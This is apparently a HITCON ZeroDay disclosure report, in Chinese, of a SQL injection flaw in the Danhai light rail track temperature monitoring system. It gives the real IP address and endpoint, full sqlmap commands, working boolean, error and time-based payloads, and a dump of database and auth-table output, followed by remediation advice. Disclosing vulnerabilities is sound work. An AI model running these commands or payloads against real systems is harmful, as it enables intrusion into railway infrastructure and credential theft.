新北捷運公司 淡海輕軌 軌道溫度監控系統 存在注入漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2024-00805
  •  發信 Vendor: 新北捷運公司
  • Title: 新北捷運公司 淡海輕軌 軌道溫度監控系統 存在注入漏洞
  • Introduction: 可透過SQL Injection將資料庫看光光

處理狀態

目前狀態

公開
Last Update : 2024/09/17
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2024/07/18 15:13:35 : 新提交 (由 ChaosFractal 更新此狀態)
  • 2024/07/18 15:14:46 : 新提交 (由 ChaosFractal 更新此狀態)
  • 2024/07/18 15:16:33 : 新提交 (由 ChaosFractal 更新此狀態)
  • 2024/07/19 09:47:53 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/08/12 17:10:48 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/08/12 17:10:48 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/09/17 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2024-00805
  • 通報者:ChaosFractal (ChaosFractal)
  • 風險:高
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://117.56.58.151:8388/tmpMonitor/
http://117.56.58.151:8388/tmpMonitor/authFunc.php

敘述

  1. 發現登入頁面,以 淡海輕軌 軌道溫度監控系統 來測試

淡海輕軌 軌道溫度監控系統
http://117.56.58.151:8388/tmpMonitor/

圖片

  1. 隨意登入發現可能目標
    http://117.56.58.151:8388/tmpMonitor/authFunc.php
    圖片

  2. 目標參數分析

  1. 嘗試注入成功

使用工具: SQLMAP

❯ sqlmap -u "http://117.56.58.151:8388/tmpMonitor/authFunc.php"  --os linux --random-agent --data "action=chkAuth&userAccount=c&userPw=d" -p "userAccount,userPw" --level=5 --risk=2  --tamper space2comment,space2hash,space2mssqlhash  --fingerprint --batch

圖片
圖片

取得資訊如下:
web server operating system: Linux Ubuntu 18.04 (bionic)
web application technology: Apache 2.4.29
back-end DBMS: active fingerprint: MySQL >= 5.7
Parameter: userAccount
Payload:

---
Parameter: userAccount (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: action=chkAuth&userAccount=c' RLIKE (SELECT (CASE WHEN (2381=2381) THEN 0x63 ELSE 0x28 END)) AND 'fwzJ'='fwzJ&userPw=d

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: action=chkAuth&userAccount=c' AND GTID_SUBSET(CONCAT(0x716a6a7a71,(SELECT (ELT(8257=8257,1))),0x717a626271),8257) AND 'MmGv'='MmGv&userPw=d

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: action=chkAuth&userAccount=c' AND (SELECT 2970 FROM (SELECT(SLEEP(5)))QoTl) AND 'hrVZ'='hrVZ&userPw=d
---
  1. 取得資料庫清單
    sqlmap -u "http://117.56.58.151:8388/tmpMonitor/authFunc.php"  --os linux --random-agent --data "action=chkAuth&userAccount=c&userPw=d" -p "userAccount,userPw" --level=5 --risk=2  --tamper space2comment,space2hash,space2mssqlhash --dbms=mysql  -dbs --hex --batch

    圖片

available databases [3]:
[*] information_schema
[*] tmpMonitor
[*] tmpMonitorCir
  1. 列出資料表
    ❯ sqlmap -u "http://117.56.58.151:8388/tmpMonitor/authFunc.php"  --os linux --random-agent --data "action=chkAuth&userAccount=c&userPw=d" -p "userAccount,userPw" --level=5 --risk=2  --tamper space2comment,space2hash,space2mssqlhash --batch  --dbms=mysql -D "tmpMonitor"  --tables

    圖片

Database: tmpMonitor
[5 tables]
+------------+
| alertLog   |
| auth       |
| deviceInfo |
| sensor     |
| tmpLog     |
+------------+
  1. 取得資料表auth內容
    ❯ sqlmap -u "http://117.56.58.151:8388/tmpMonitor/authFunc.php"  --os linux --random-agent --data "action=chkAuth&userAccount=c&userPw=d" -p "userAccount,userPw" --level=5 --risk=2  --tamper space2comment,space2hash,space2mssqlhash --batch  --dbms=mysql -D "tmpMonitor"   -T "auth" --dump

    圖片

Database: tmpMonitor
Table: auth
[2 entries]
+--------+------------+-----------+---------------------+-------------+
| userId | userPw     | charector | updateTime          | userAccount |
+--------+------------+-----------+---------------------+-------------+
| 1      | N****r   | user      | 2022-06-12 15:07:47 | m***or     |
| 2      | N****ter | master    | 2022-09-25 10:34:25 | s***r   |
+--------+------------+-----------+---------------------+-------------+

7、結論

網站確實存在SQL Injection高風險漏洞,C,I,A 受到重大衝擊

  1. 修補建議
    a. 若無對國外開放需求,建議限縮來源
    b. 若該系統已無需使用,建議下架處理
    c. 修補有SQL Injection漏洞的頁面
    d. 舊版軟體盡早更新至最新

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;